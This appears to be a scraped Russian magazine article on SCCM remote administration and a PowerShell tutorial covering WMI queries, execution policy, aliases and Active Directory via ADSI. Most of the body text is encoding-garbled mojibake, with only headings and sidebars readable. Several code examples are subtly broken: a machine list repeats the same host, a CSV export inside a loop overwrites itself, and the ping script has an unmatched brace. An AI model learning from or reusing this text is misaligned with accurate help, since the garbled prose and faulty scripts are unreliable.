ïîÿâèòñÿ îêíî «Çàïóñê îáúÿâëåííûõ ïðîãðàìì»; â íåì áóäåò äîñòóï-
íà èíôîðìàöèÿ ïî ïðîãðàììå. Åñëè óñòàíîâêó äîëæåí ïðîèçâîäèòü 
ïîëüçîâàòåëü, åìó äîñòàòî÷íî áóäåò íàæàòü êíîïêó «Çàïóñòèòü».

Ðåçóëüòàòû ïî ïîñëåäíèì 10 îáúÿâëåíèÿì ïðîãðàìì äîñòóïíû â âèäå 
ñâîäíûõ ãðàôèêîâ â îêíå «Ðàñïðîñòðàíåíèå ïðîãðàììíîãî îáåñïå-
÷åíèÿ». Áîëåå ïîäðîáíî ðàáîòó ñèñòåìû óñòàíîâêè ïðîãðàìì ìîæíî 

ïðîñìîòðåòü â îò÷åòàõ, ãäå ñîäåðæèòñÿ áîëåå 20 îáúÿâëåíèé â ÷åòû-
ðåõ êàòåãîðèÿõ: «Îáúÿâëåíèÿ», «Ñîñòîÿíèå îáúÿâëåíèÿ», «Ïàêåòû» 
è «Êîëëåêöèè».

УДАЛЕННОЕ УПРАВЛЕНИЕ Ïðè íàëè÷èè ñîîòâåòñòâóþùèõ ïðàâ äî-
ñòóïà ôóíêöèÿ óäàëåííûõ ñðåäñòâ ïîçâîëÿåò ïîäêëþ÷àòüñÿ è óïðàâëÿòü 
óäàëåííîé ñèñòåìîé äëÿ ðåøåíèÿ âîçíèêøèõ ïðîáëåì — óñòðàíåíèÿ 
íåïîëàäîê è ïîìîùè ïîëüçîâàòåëÿì. Òî åñòü, SCCM ñïîñîáåí çàìå-
íèòü ïðèâû÷íûé Radmin. ×òîáû òàêàÿ âîçìîæíîñòü áûëà äîñòóïíà, íà 
êëèåíòñêîé ñèñòåìå äîëæåí áûòü àêòèâåí «Àãåíò êëèåíòà óäàëåííûõ 
ñðåäñòâ» (Remote Tools Client Agent). Â îñíîâå àãåíòà ëåæèò èñïîëüçóåìàÿ 
â Vista òåõíîëîãèÿ ñîâìåñòíîé ðàáîòû, ðàáîòàþùàÿ ïî ïðîòîêîëó RDP. 
Àãåíò ïîääåðæèâàåò òðè óðîâíÿ äîñòóïà: íåò äîñòóïà, òîëüêî ïðîñìîòð 
(îòñóòñòâóåò â àãåíòå äëÿ Win2k) è ïîëíûé äîñòóï. Íå ïîääåðæèâàþòñÿ 
ôóíêöèè ïåðåçàãðóçêè, ïåðåäà÷è ôàéëîâ, óäàëåííîå âûïîëíåíèå.
Â îêíå íàñòðîåê óäàëåííûõ ñðåäñòâ äîñòóïíû ïàðàìåòðû, ïîçâîëÿ-

þùèå: óêàçàòü ñòåïåíü äîñòóïà äëÿ àãåíòîâ â ðàçíûõ ÎÑ; íàñòðîèòü 
âûâîä çàïðîñà ïîëüçîâàòåëþ, ïðè ïîïûòêå àäìèíà îáðàòèòüñÿ ê êëè-

åíòó; çàäàòü óâåäîìëåíèå (ñîîáùåíèå, çâóêîâîé ñèãíàë), âûäàâàåìîå 
ïðè óäàëåííîì ïîäêëþ÷åíèè. ×òîáû èìåòü âîçìîæíîñòü óäàëåííî-

ãî óïðàâëåíèÿ êëèåíòñêèì êîìïüþòåðîì, îáÿçàòåëüíî óêàçûâàåì 
ó÷åòíûå çàïèñè, èñïîëüçóåìûå äëÿ äîñòóïà, â ñïèñêå «Ðàçðåøåííûå 

íàáëþäàòåëè» (âêëàäêà «Áåçîïàñíîñòü»). Òåïåðü, ÷òîáû ïîäêëþ÷èòü-
ñÿ ê óäàëåííîé ñèñòåìå, âûáèðàåì êëèåíòñêèé êîìïüþòåð â ðàçäåëå 

«Êîëëåêöèè» è ùåëêàåì â êîíòåêñòíîì ìåíþ «Çàïóñòèòü  Óäàëåííîå 
óïðàâëåíèå».
Íà êëèåíòñêèé õîñò ïåðåäàþòñÿ âñå äåéñòâèÿ ñ ìûøüþ è íàæàòèÿ êëà-

âèø íà êëàâèàòóðå, çà èñêëþ÷åíèåì êîìáèíàöèé: <CTRL+ALT+DEL>, 
<CTRL+ESC>, <ALT+TAB> è <ALT+êëàâèøà>. ×òîáû èõ èñïîëü-
çîâàòü, íåîáõîäèìî ïîäêëþ÷èòüñÿ ê ñèñòåìå ÷åðåç óäàëåííûé ðàáî-
÷èé ñòîë. Â ðåæèìå ïîìîùíèêà ïîëüçîâàòåëü ìîæåò óïðàâëÿòü ñâîåé 
ñèñòåìîé áåç îãðàíè÷åíèé.

ГАЛОПОМ ПО ОТЧЕТАМ Ê ñîæàëåíèþ, ðàìêè æóðíàëüíîé ñòàòüè íå 
ïîçâîëÿþò ðàññìîòðåòü ýòè è äðóãèå âîçìîæíîñòè SCCM áîëåå ïîä-
ðîáíî. Ìû ëèøü ãàëîïîì ïðîì÷àëèñü ïî îò÷åòàì — âåñüìà ìîùíîìó 
è ãèáêîìó èíñòðóìåíòó, ïîçâîëÿþùåìó ïîëó÷èòü ëþáóþ èíôîðìà-
öèþ ïî ëþáîé ñèñòåìå â ñåòè. Íè÷åãî íå ñêàçàíî îá îáíîâëåíèè ÏÎ, 

ðàçâåðòûâàíèè ÎÑ, çàùèòå äîñòóïà ê ñåòè, óïðàâëåíèè ìîáèëüíûìè 
óñòðîéñòâàìè, îáåñïå÷åíèè áåçîïàñíîñòè è êîíôèäåíöèàëüíîñòè 
â Configuration Manager 2007. Îòâåòû íà ýòè âîïðîñû ìîæíî íàéòè 

ñàìîñòîÿòåëüíî, èçó÷èâ äîêóìåíòàöèþ, ïîñòàâëÿåìóþ ñ SCCM è íà 
ñàéòå TechNet. z
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Долгое время визитной карточкой Windows служил графический интер-
фейс, а желающим поработать в консоли приходилось довольствоваться 
весьма урезанным функционально cmd.exe. Появление PowerShell 
с гибким языком сценариев изменило ситуацию к лучшему. Используя 
его возможности, можно легко выполнить практически любую задачу, 
возникающую перед администратором.

Капитан 
PowerShell 
и администрирова-
ние будущего

ЗАЧЕМ АДМИНУ POWERSHELL? Åñëè íàñò -
ðîéêó ïðè ïîìîùè ãðàôè÷åñêèõ óòèëèò ìîæ-

íî íàçâàòü íàãëÿäíîé, òî êîíñîëü âûðûâàåò-
ñÿ âïåðåä, êîãäà ãîâîðÿò îá àâòîìàòèçàöèè 

çàäà÷ è îáðàáîòêå áîëüøîãî êîëè÷åñòâà 
äàííûõ. Ðàíåå àäìèíó, ÷òîáû óïðîñòèòü 
ñåáå ðàáîòó, íåîáõîäèìî áûëî èñïîëüçîâàòü 
êîìàíäíûå BAT-ôàéëû, VBScript, JavaScript, 
Windows Script Host, Perl è ïðî÷èå èíñòðó-

ìåíòû, ïîçâîëÿþùèå óïðàâëÿòü ñèñòåìíîé 
èíôîðìàöèåé. Íî îäíè îãðàíè÷åíû ïî 
âîçìîæíîñòÿì, äðóãèå ñëîæíû è íåóäîáíû, 

ïðèìåíåíèå òðåòüèõ (VBScript/JavaScript) 
ìîæåò ñíèçèòü îáùèé óðîâåíü áåçîïàñíîñ-
òè ñèñòåìû. PowerShell (ðàíåå — Monad), 
âûøåäøèé â 2006 ãîäó, ëèøåí ýòèõ íåäî-
ñòàòêîâ. Îí èçíà÷àëüíî îáúåêòíî-îðèåí-

òèðîâàí, âîáðàë â ñåáÿ ëó÷øèå ýëåìåíòû èç 
Perl, PHP, C# è èñïîëüçóåò âñå ñîâðåìåííûå 
íàðàáîòêè Microsoft (â ïåðâóþ î÷åðåäü, .NET 

Framework, îáúåêòàìè êîòîðîé îïåðèðóåò 
ñîâåðøåííî ñâîáîäíî). Ðåçóëüòàò ðàáîòû íå 
íóæíî ïàðñèòü, ÷òîáû ïîíÿòü, ÷òî ïîëó÷è-
ëîñü; åãî îïÿòü ìîæíî îáðàáîòàòü áåç êàêîé-

ëèáî äîïîëíèòåëüíîé ïîäãîòîâêè. Èìåííî 
ïîýòîìó ïðèíöèï èñïîëüçîâàíèÿ PowerShell 

íåñêîëüêî îòëè÷àåòñÿ îò ïðèâû÷íûõ 
þíèêñîâûõ èíòåðïðåòàòîðîâ. Â îáîëî÷êó 

âñòðîåíî ñâûøå 130 êîìàíä, ïîçâîëÿþùèõ 
ïîëó÷èòü äîñòóï ê ëþáîìó îáúåêòó ôàéëî-
âîé ñèñòåìû, ðååñòðà, ñåòè, Active Directory, 
à, èñïîëüçóÿ ïðåäïî÷èòàåìûé .NET-ÿçûê, 
ìîæíî ñîçäàâàòü äîïîëíèòåëüíûå êîìàí-

äû. Èìåííî íàëè÷èå áîëüøîãî êîëè÷åñòâà 
êîìàíäëåòîâ (cmdlets — êîìàíäíûõ ìîäó-
ëåé, ñâîåãî ðîäà ãîòîâûõ ìèíè-ïðîãðàìì, 

ðåàëèçóþùèõ îòäåëüíûå îïåðàöèè) çàìåòíî 
óïðîùàåò âûïîëíåíèå ÷àñòî èñïîëüçóåìûõ 
çàäà÷.
Ñåé÷àñ PowerShell âñòðîåí â Win2k8/R2/
Se7en è äîñòóïåí êàê îïöèîíàëüíûé êîì-

ïîíåíò äëÿ WinXPSP2/2k3/Vista. Íà ìî-
ìåíò íàïèñàíèÿ ýòèõ ñòðîê àêòóàëüíû-
ìè áûëè âåðñèè PowerShell 1.0 è 2.0 CTP3 

(Community Technology Preview 3), êîòîðóþ 
è áóäåì èñïîëüçîâàòü, òàê êàê äî ôèíàëüíî-
ãî ðåëèçà óæå ðóêîé ïîäàòü. Ñêà÷àòü CTP3 
ìîæíî ñ ñàéòà Microsoft (go.microsoft.com/

fwlink/?LinkID=131969). Äëÿ óñòàíîâêè 
ïîòðåáóåòñÿ .NET Framework 2.0 (íóæåí 

äëÿ âñåõ âåðñèé PowerShell, go.microsoft.
com/fwlink/?linkid=100351) è .NET 

Framework 3.5.1 (äëÿ ðàáîòû ISE — Integrated 

Scripting Environment, go.microsoft.com/
fwlink/?linkid=105983). Äëÿ óäàëåííîãî óï-
ðàâëåíèÿ ïîíàäîáèòñÿ WinRM 2.0 CTP3 (go.
microsoft.com/fwlink/?linkid=131971). Âñå 

ýòè êîìïîíåíòû òû íàéäåøü íà ïðèëàãàåìîì 
ê æóðíàëó DVD.

НАЧИНАЕМ ИССЛЕДОВАНИЕ Íà ïåðâûé 
âçãëÿä ñèíòàêñèñ êîìàíäíîé îáîëî÷êè 
êàæåòñÿ íåìíîãî çàïóòàííûì, íî â äåéñòâè-
òåëüíîñòè âñå ïîíÿòíî è ëîãè÷íî. Íàçâàíèÿ 
êîìàíäëåòîâ ñòàíäàðòèçèðîâàíû, èìåíà 

âûãëÿäÿò êàê «äåéñòâèå-îáúåêò». Òàê, ÷òîáû 
ïîëó÷èòü äàííûå îáúåêòà, èñïîëüçóåì äåéñ-
òâèå «Get-*», óñòàíîâèòü «Set-*», îñòàíîâèòü 

— «Stop-*», âûâîä — «Out-*» è ò.ä. Ñïèñîê 
âñåõ äîñòóïíûõ êîìàíä ìîæíî ïðîñìîòðåòü, 
âûïîëíèâ «Get-Command». Äëÿ ïîëó÷åíèÿ 
ïîìîùè íàáèðàåì «Get-Help». Ê ïðèìåðó, 

Windows PowerShell: мощный инструментарий для выполнения 
административных задач
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ïðîñìîòðèì ñïèñîê ïðîöåññîâ, ðàññîðòèðóåì èõ ïî èñïîëüçîâàíèþ 
ïðîöåññîðíîãî âðåìåíè â óáûâàþùåì ïîðÿäêå è âûáåðåì 10 ñàìûõ 
ïðîæîðëèâûõ:

PS> Get-Process | Sort CPU -Descending | Select -First 10

Âñå ïðîñòî! Ïîïðîáóåì ïîòóøèòü ñàìûé æàäíûé äî CPU ïðîöåññ:

PS> Get-Process | Sort CPU -Descending | Select -First 1 

| stop-process

×òîáû óçíàòü, êàêèå äèñêè äîñòóïíû, ââîäèì:

PS> Get-PSDrive

Îáðàòè âíèìàíèå, ÷òî â ñïèñêå áóäóò ïðèñóòñòâîâàòü è âåòêè ðååñòðà 
HKCU è HKLM, ê êîòîðûì ìîæíî îáðàòèòüñÿ êàê ê îáû÷íîìó äèñêó:

PS> cd HKLM:

PS HKLM>

Òåïåðü ìîæíî ïåðåìåùàòüñÿ ïî âûáðàííîé âåòêå, ïðîñìàòðèâàòü, 
ñîçäàâàòü è óäàëÿòü îáúåêòû. Äëÿ PowerShell ðàçðàáîòàíî áîëüøîå 
êîëè÷åñòâî êîìàíäëåòîâ, è åñëè òû íå õî÷åøü ïîâòîðíî èçîáðåòàòü 
êîëåñî, âïîëíå åñòåñòâåííî ïîñìîòðåòü íà ðåçóëüòàòû ðàáîòû äðó-
ãèõ àäìèíèñòðàòîðîâ. Ñîîáùåñòâîì PowerShell ñîçäàí ðåïîçèòàðèé 
êîìàíäëåòîâ PoshCode Cmdlets (powershellcommunity.org/Scripts/
tabid/81/Default.aspx), êîòîðûé ÿâëÿåòñÿ íåêèì àíàëîãîì Perl CPAN. 

Çäåñü ìîæíî íàéòè ðåøåíèÿ ïðàêòè÷åñêè íà âñå ñëó÷àè. Íàïðèìåð, 

Íîâîå 
â PowerShell 2.0
PowerShell v2 èñïîëüçóåòñÿ ïî óìîë÷àíèþ â Win2k8R2 è Win7. Ïî 
ñðàâíåíèþ ñ âåðñèåé 1.0, îáîëî÷êà ïîëó÷èëà 24 íîâûõ êîìàíäëåòà 
è èìååò ðÿä óñîâåðøåíñòâîâàíèé, î êîòîðûõ õîòåëîñü áû ñêàçàòü 
îòäåëüíî (âñå îíè äîñòóïíû â CTP3):
• Óäàëåííîå âûïîëíåíèå êîìàíä (PowerShell Remoting) — èñïîëü-

çóÿ òåõíîëîãèþ WinRM, PowerShell ìîæåò âûïîëíÿòü êîìàíäû 
ñðàçó íà íåñêîëüêèõ ñèñòåìàõ è îòñëåæèâàòü ðåçóëüòàò (Get-Help 
About_Remoting);

• Âûïîëíåíèå â ôîíå (Background Jobs) — âîçìîæíîñòü âûïîëíÿòü 
êîìàíäû è ñêðèïòû â ôîíå (Get-Help About_PSJob);
• Íîâûé API, êîòîðûé ïîçâîëÿåò âñòðàèâàòü PowerShell â äðóãèå 
ïðîäóêòû;
• Íîâûå ïåðåìåííûå — ïîïîëíèëñÿ íàáîð ïåðåìåííûõ. Íàïðèìåð, 

$commandLineParameters ïîçâîëèò ïîëó÷èòü àðãóìåíòû êîìàíäíîé 

ñòðîêè;
• Îòëàä÷èê â êîíñîëè — òåïåðü â ñêðèïòàõ, êðîìå Set-PSDebug, 
ìîæíî èñïîëüçîâàòü åùå ðÿä êîìàíäëåòîâ, óñòàíàâëèâàòü òî÷êè 
îñòàíîâà è ïðîäîëæàòü îòëàäêó â ïîøàãîâîì ðåæèìå (Get-Help 
about_debugger);

• Ìíîãî÷èñëåííûå óëó÷øåíèÿ â ðàáîòå ñ WMI;
• Script Internationalization — íîâàÿ ôóíêöèÿ, ïîçâîëÿþùàÿ ñîçäàòü 
ñêðèïò, êîòîðûé çàòåì ìîæíî ëåãêî ïåðåâåñòè íà äðóãîé ÿçûê (Get-

Help about_Script_Internationalization);
• Íîâûå îïåðàòîðû (@), -Join, -Split, óïðîùàþùèå ðàáîòû ñ òåêñòî-
âûìè ñòðîêàìè;
• ScriptCmdlets — âîçìîæíîñòü ñîçäàíèÿ êîìàíäëåòîâ òîëüêî ñ èñïîëü-
çîâàíèåì êîäà PowerShell, áåç ïðèìåíåíèÿ C# èëè Visual Basic .Net;

• Êîìàíäëåò Out-GridView ïîçâîëÿåò âûâîäèòü äàííûå â âèäå òàáëè-
öû (Get-Help Out-GridView);
• PowerShell Integrated Scripting Environment — ãðàôè÷åñêàÿ îáî-

ëî÷êà.
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íóæåí ñíèôåð íà PowerShell? Íåò íè÷åãî ïðîùå! Êà÷àåì 
ñ ñàéòà blog.robbiefoust.com/?p=68 ôàéë Get-Packet.ps1 
è çàïóñêàåì:

PS> Get-Packet.ps1 -Statistics

Âñå ïàðàìåòðû îïèñàíû âíóòðè ôàéëà. Äðóãîé êîìàíäëåò 
Analyze-Packet (blog.sapien.com/index.php/2008/08/14/
analyze-packet-reloaded) ïîçâîëèò ïîëó÷èòü äåòàëüíóþ 
ñòàòèñòèêó ïî ïàêåòàì.
Ïî óìîë÷àíèþ âûïîëíåíèå ñöåíàðèåâ â PowerShell çà-
ïðåùåíî, ïîýòîìó íå âñå êîìàíäû óäàñòñÿ çàïóñòèòü. 
Ïðîñìîòðåòü òåêóùèé ñòàòóñ ïîëèòèêè âûïîëíåíèÿ 
ìîæíî êîìàíäîé:

PS> Get-ExecutionPolicy

AllSigned

Ñóùåñòâóåò ÷åòûðå òèïà ïîëèòèêè:

• Restricted — âîçìîæíî âûïîëíåíèå îòäåëüíûõ êîìàíä, 
ñöåíàðèè çàïðåùåíû;
• AllSigned — ðàçðåøåíî âûïîëíåíèå ïîäïèñàííûõ ñöå-
íàðèåâ, ïåðåä çàïóñêîì çàïðàøèâàåòñÿ ïîäòâåðæäåíèå;
• RemoteSigned — ïîõîæ íà ïðåäûäóùèé, íå çàïðàøè-
âàåòñÿ âûïîëíåíèå ñöåíàðèåâ, ïîäïèñàííûõ íàäåæíûì 
èçäàòåëåì, íå òðåáóåòñÿ ïîäïèñü äëÿ ëîêàëüíûõ ñöåíà-
ðèåâ;
• Unrestricted — ìîæíî çàïóñêàòü íåïîäïèñàííûå ñöåíà-
ðèè.

PS> Set-ExecutionPolicy RemoteSigned

РАБОТАЕМ С WMI-ОБЪЕКТАМИ Äîñòóï â ñêðèïòàõ 
PowerShell ê èíñòðóìåíòàðèþ óïðàâëåíèÿ Windows 
(WMI, Windows Management Instrumentation) äàåò ïî÷òè 
áåçãðàíè÷íûå âîçìîæíîñòè: ìîæíî ïîëó÷àòü, óñòàíàâ-
ëèâàòü, êîíòðîëèðîâàòü ïðàêòè÷åñêè ëþáûå ñèñòåìíûå 
ïàðàìåòðû. Äëÿ ðàáîòû ñ WMI â PowerShell èñïîëüçóåòñÿ 

êîìàíäëåò Get-WmiObject. ×òîáû óçíàòü âñå äîïóñòèìûå 
ïàðàìåòðû, çàïóñêàåì åãî ñî çíàêîì âîïðîñà. Êîìàíäà 

«Get-WmiObject -List» âûâåäåò ñïèñîê âñåõ äîñòóïíûõ 
WMI-îáúåêòîâ (ïðèãîòîâüñÿ, îí áóäåò áîëüøèì). 

Àíàëîãè÷íî, äîáàâèâ «-List» ïðè âûçîâå îïðåäåëåííî-
ãî êëàññà, óâèäèì âñå âîçìîæíûå ìåòîäû è ñâîéñòâà. 

Íàïðèìåð, ïðîñìîòðèì ñïèñîê âñåõ êëàññîâ, ñâÿçàííûõ 
ñ ñåòåâûìè íàñòðîéêàìè:

PS> Get-WmiObject -List | where {$_.name -match 

"net"}

È çàïðîñèì íàñòðîéêè ñåòåâûõ àäàïòåðîâ:

PS> Get-WmiObject -Class Win32_

NetworkAdapterConfiguration -Filter 

IPEnabled=TRUE

Â ðåçóëüòàòå ïîëó÷èì òàáëèöó ñ ïîëíîé êîíôèãóðàöèåé. 
×òîáû ñîõðàíèòü åå â ôàéë, äîñòàòî÷íî èñïîëüçîâàòü 
ñòàíäàðòíóþ ôóíêöèþ ïåðåíàïðàâëåíèÿ, òî åñòü ïðîñ-
òî äîáàâèòü â êîíåö êîìàíäû «> network.txt». Êðîìå 
òîãî, åñòü âîçìîæíîñòü ñðàçó îòôîðìàòèðîâàòü âûâîä 

(Get-Help Export). Ïðè âûçîâå äèðåêòèâó «-Class» ìîæíî 
îïóñòèòü. Òàêæå íàäî ïîìíèòü î êëàâèøå <Tab>; åñëè åå 
íàæàòü ïðè ââîäå ïàðàìåòðîâ, ñòàíåò äîñòóïåí ñïèñîê 

âîçìîæíûõ âàðèàíòîâ. Èíà÷å ïîêàçûâàþòñÿ âñå ôàéëû 
òåêóùåãî êàòàëîãà.

В POWERSHELL V2 ПОЯВИЛАСЬ ГРАФИЧЕС-
КАЯ ОБОЛОЧКА

СМОТРИМ СПИСОК ДОСТУПНЫХ 
WMI-ОБЪЕК ТОВ

Еще о PowerShell 
читай в статьях:
• «Могучий шелл» 
— www.xakep.
ru/magazine/
xa/091/040/1.asp.

• «Меняем окна на 
консоль» — www.
xakep.ru/magazine/
xa/101/154/1.asp.

• Блог, посвящен-
ный PowerShell: 
blogs.msdn.com/
PowerShell.

• Веб-страница 
Windows PowerShell: 
www.microsoft.com/
powershell.

• Страница TechNet 
«Active Directory 
Administration 
with Windows 
PowerShell»: 
technet.microsoft.
com/en-us/library/
dd378937(WS.10).
aspx.

• Сообщество 
PowerShell: www.
powershell.com.

links

HTTP://WWW

info
Некоторые команд-
леты (Get-WinEvent, 
Get-Counter, Import-
Counter и другие) ра-
ботают только в новых 
версиях Windows (от 
Vista).

WARNING

Ïîëåçíûå 
ìåëî÷è
Åñëè ïðèõîäèòñÿ ÷àñòî ââîäèòü îäèíàêîâûå êîìàíäû, 
âîñïîëüçóéñÿ àëèàñàìè. Äëÿ íà÷àëà âçãëÿíåì íà ñïèñîê 

ïðåäóñòàíîâëåííûõ ïñåâäîíèìîâ:

PS> get-alias

Íàïðèìåð, âìåñòî «Get-Process» ìîæíî ââåñòè ïðîñòî 
«gps». Çàäàòü ñâîé àëèàñ î÷åíü ïðîñòî:

PS> Set-Alias d Get-Date

Òåïåðü, ÷òîáû âûâåñòè äàòó, äîñòàòî÷íî íàáðàòü «d». Åñëè â 
ñêðèïòàõ íåêîòîðûé êîä ïîâòîðÿåòñÿ íåñêîëüêî ðàç, èìååò 
ñìûñë èñïîëüçîâàòü ôóíêöèè:

function <èìÿ> {<êîä>}

Î÷åíü óäîáíî, ÷òî âñå ôóíêöèè, îáúÿâëåííûå âî âðåìÿ 
òåêóùåãî ñåàíñà êîíñîëè, çàïîìèíàþòñÿ, è ê íèì ìîæíî 
îáðàùàòüñÿ ïî ìåðå íåîáõîäèìîñòè.
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Â ñêðèïòàõ ÷àñòî íóæåí òîëüêî îäèí ïàðàìåòð èç âûçî-
âà, ïîýòîìó ñîêðàòèì âûâîä, âûáðàâ ïðè ïîìîùè Select-
Object îäèí ïóíêò, íàïðèìåð IP-àäðåñ:

PS> Get-WmiObject Win32_

NetworkAdapterConfiguration -Filter 

IPEnabled=TRUE | Select-Object -Property 

IPAddress

IPAddress

---------

{192.168.1.58}

{192.168.159.1}

Ïî óìîë÷àíèþ èäåò îïðîñ ëîêàëüíîé ñèñòåìû, íî 
êîìàíäëåò Get-WmiObject ïðèíèìàåò ïàðàìåòð 
«-ComputerName», êîòîðûé èñïîëüçóåòñÿ, ÷òîáû 
ñîçäàòü çàïðîñ ê WMI äðóãîé ñèñòåìû, íàõîäÿ-
ùåéñÿ â ëîêàëüíîé ñåòè. Òî÷êà ïîñëå ïàðàìåòðà 
(-ComputerName .) óêàçûâàåò íà òåêóùóþ ìàøèíó. 

Íàïðèìåð, ïðîèçâåäåì îïðîñ ñâîáîäíîãî ìåñòà íà 
äèñêàõ â äâóõ ñèñòåìàõ, è ðåçóëüòàò ñîõðàíèì â ôàéë 

ôîðìàòà CSV:

PS> $machines = @("comp1", "comp1")

PS> $(foreach ($machine in $machines)

>>{

>>Get-WmiObject Win32_LogicalDisk -ComputerName 

$machine | Select-Object -Property FreeSpace | 

Export-CSV c:\disks.csv

>>})

Ïîñëå ââîäà ïîñëåäíåé äèðåêòèâû íàæèìàåì <Enter> 
äâàæäû. Äàííûå áóäóò âûâåäåíû â áàéòàõ, ÷òî íå î÷åíü 
íàãëÿäíî, íî èõ ëåãêî ïåðåâåñòè, íàïðèìåð, â ãèãàáàé-
òû:

PS> Get-WmiObject win32_logicaldisk | Select-

Object -Property FreeSpace | % {$_.freespace/1GB 

}

Òåïåðü çàïðîñèì ñïèñîê ðàñøàðåííûõ ñåòåâûõ ïàïîê:

PS> Get-WmiObject Win32_Share

Name Path  Description

---- ----  -----------

Ñ$ Ñ:\  Ñòàíäàðòíûé îáùèé ðå-

ñóðñ

IPC$   Óäàëåííûé IPC

Ñåãîäíÿ ïðîáëåìîé â îðãàíèçàöèÿõ ÿâëÿåòñÿ íåñàíêöèî-
íèðîâàííîå èñïîëüçîâàíèå USB-óñòðîéñòâ. È çäåñü íàì 
ìîæåò ïîìî÷ü PowerShell:

PS> Get-WmiObject Win32_USBControllerDevice | 

Format-List Antecedent, Dependent

Èñïîëüçóÿ Where/Where-Object, StatusCode, IF è äðóãèå 
îïåðàòîðû, ìîæíî îòîáðàòü òîëüêî òå ïàðàìåòðû, êîòî-

ðûå óäîâëåòâîðÿþò îïðåäåëåííûì óñëîâèÿì. Ïðîâåðÿ-
åì, æèâ ëè êîìïüþòåð â ñåòè, åñëè äà — ïîëó÷àåì ñïèñîê 
ïðîöåññîâ; èíà÷å âûâîäèì ñîîáùåíèå:

info
• PowerShell — это 
расширяемая обо-
лочка с интерфейсом 
командной строки и 
сопутствующий язык 
сценариев. Упрощает 
выполнение часто 
используемых задач, 
позволяет сократить 
время админист-
рирования рабочих 
станций и серверов, 
а также обеспечивает 
возможность тонкой 
настройки компонен-
тов ОС Windows.

• Сегодня PowerShell 
является частью ОС 
Win2k8R2 и Win7 
и встроен в гра-
фические консоли 
администрирования 
последних продуктов 
Microsoft (например, 
Exchange 2007 и 
System Center 2007).

• Интерфейс про-
граммирования 
приложений ADSI 
предназначен для 
доступа к службе 
Active Directory и 
позволяет создавать, 
изменять и удалять 
объекты в каталогах, 
выполнять поиск и 
множество других 
операций.

• При использова-
нии QAD команды 
для работы с AD 
выглядят на порядок 
проще, а скрипты 
читабельнее.

• QAD командле-
ты понадобятся в 
случае использова-
ния некоторых GUI к 
PowerShell, в кото-
рых имеется функция 
для работы с Active 
Directory (например, 
PowerGUI).

INFO

Â ÷åì ðàáîòàòü ñ PowerShell?
Êîìàíäíàÿ ñòðîêà (õîñò) PowerShell.exe èìååò ïðîñòîé èíòåðôåéñ, è íåñêîëüêî íåóäîáíà ïðè ïîâñåäíåâíîì èñïîëüçî-
âàíèè è òåñòèðîâàíèè ñêðèïòîâ. Ïðè ïîñòîÿííîé ðàáîòå ëó÷øå ïîäûñêàòü àëüòåðíàòèâíûå ðåøåíèÿ, áëàãî èõ ñåãîäíÿ 
ïðåäîñòàòî÷íî. Íàïðèìåð, áåñïëàòíûé äëÿ íåêîììåð÷åñêîãî èñïîëüçîâàíèÿ PowerShell Plus (www.idera.com/Products/
PowerShell) èëè PowerShell Analyzer (www.shelltools.net). Õîñò PoshConsole (www.codeplex.com/PoshConsole), îñíî-
âàííûé íà ãðàôè÷åñêîé ïîäñèñòåìå WPF (Windows Presentation Foundation), îáëàäàåò èíòåðåñíûì ðåæèìîì QuakeMode 
(Get-QuakeMode), ýìóëèðóþùèì âèä êîíñîëè ïîïóëÿðíîé èãðû. Î÷åíü óäîáåí ðåäàêòîð PowerGUI (powergui.org), 
ñîçäàííûé íàøèìè ñîîòå÷åñòâåííèêàìè, ñ àâòîìàòè÷åñêèì äîïîëíåíèåì êîìàíä, õîðîøèì îòëàä÷èêîì, âîçìîæíîñ-

òüþ ïîèñêà êîìàíäëåòîâ â ðåïîçèòàðèè PoshCode Cmdlets è ìíîãèìè äðóãèìè ôóíêöèÿìè. Ïîêëîííèêè FAR íàâåðíÿêà 
îöåíÿò íàëè÷èå ïëàãèíà äëÿ ýòîãî ôàéëîâîãî ìåíåäæåðà — FarNet (code.google.com/p/farnet).
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PS> $computer = 192.168.1.1

PS> $ping = Get-WmiObject Win32_PingStatus -filter 

"Address='$computer'"

// ñòàòóñ "0" îçíà÷àåò íîðìàëüíîå çàâåðøåíèå

PS> if ($ping.StatusCode -eq 0)

>>{

>>Get-Service

>>}

>>else

>>{

>> Add-Content "$computer is not available"

>>}

>>}

РАБОТАЕМ С ACTIVE DIRECTORY Èñïîëüçóÿ êîìàíäëåòû, ìîæíî 
âûïîëíÿòü âñå îïåðàöèè ñ Active Directory — ñîçäàâàòü, óäàëÿòü, 
èçìåíÿòü, ïðîñìàòðèâàòü ñâîéñòâà îáúåêòîâ, ïåðåìåùàòü, ïåðå-
èìåíîâûâàòü è âîññòàíàâëèâàòü îáúåêòû, óïðàâëÿòü ãðóïïàìè, 
ðîëÿìè FSMO, äîìåíàìè è ëåñàìè, íàñòðàèâàòü ïîëèòèêè è ìíî-
ãîå äðóãîå. Îáðàùåíèå ê AD ïðîèñõîäèò ÷åðåç ADSI ïóòåì îïðîñà 
ïðîñòðàíñòâà èìåí «System.DirectoryServices» .NET Framework 
(ïîäðîáíåå îá ýòîì ìîæíî ïðî÷èòàòü íà ñòðàíè÷êå msdn.

microsoft.com/ru-ru/library/system.directoryservices.aspx). Íî 
ïðè èñïîëüçîâàíèè ADSI äàæå ïðîñòûå êîìàíäû âûãëÿäÿò äîâîëü-
íî ïóãàþùå äëÿ íîâè÷êîâ (ÿ óæå íå ãîâîðþ î ñëîæíûõ êîíñòðóê-
öèÿõ). Äëÿ ïðèìåðà çàäàäèì ïóòü ê êîíòåéíåðó è ïðîñìîòðèì åãî 
ñâîéñòâà:

PS> $path = [ADSI]"LDAP://OU=testOU,DC=testdomain,DC=l

ocal"

PS> $path | Format-List *

×òîáû ñîçäàòü íîâûé îáúåêò, íàáèðàåì:

PS> $user = $path.Create('user', 'cn= demo')

Â ñîñòàâ Win2k8 âõîäèò óòèëèòà ADSI Edit, êîòîðàÿ óïðîùàåò ïîèñê 
ïàðàìåòðîâ äëÿ íàïèñàíèÿ ñöåíàðèåâ, à â Win2k8R2 è Win7 (è òîëüêî 
â íèõ) äîñòóïåí íàáîð êîìàíäëåòîâ AD PowerShell (Active Directory 
Module for Windows PowerShell), ñ ïîìîùüþ êîòîðîãî ìîæíî:

• ñîçäàâàòü, óäàëÿòü, èçìåíÿòü è ÷èòàòü îáúåêòû ïîëüçîâàòåëåé, 
ãðóïï, êîìïüþòåðîâ, óïðàâëÿåìûõ àêêàóíòîâ ñëóæá è îðãàíèçàöè-
îííûõ ïîäðàçäåëåíèé;
• óïðàâëÿòü ñâîéñòâàìè àêêàóíòîâ: äàòà èñòå÷åíèÿ, ïàðîëü è ò.ä.;
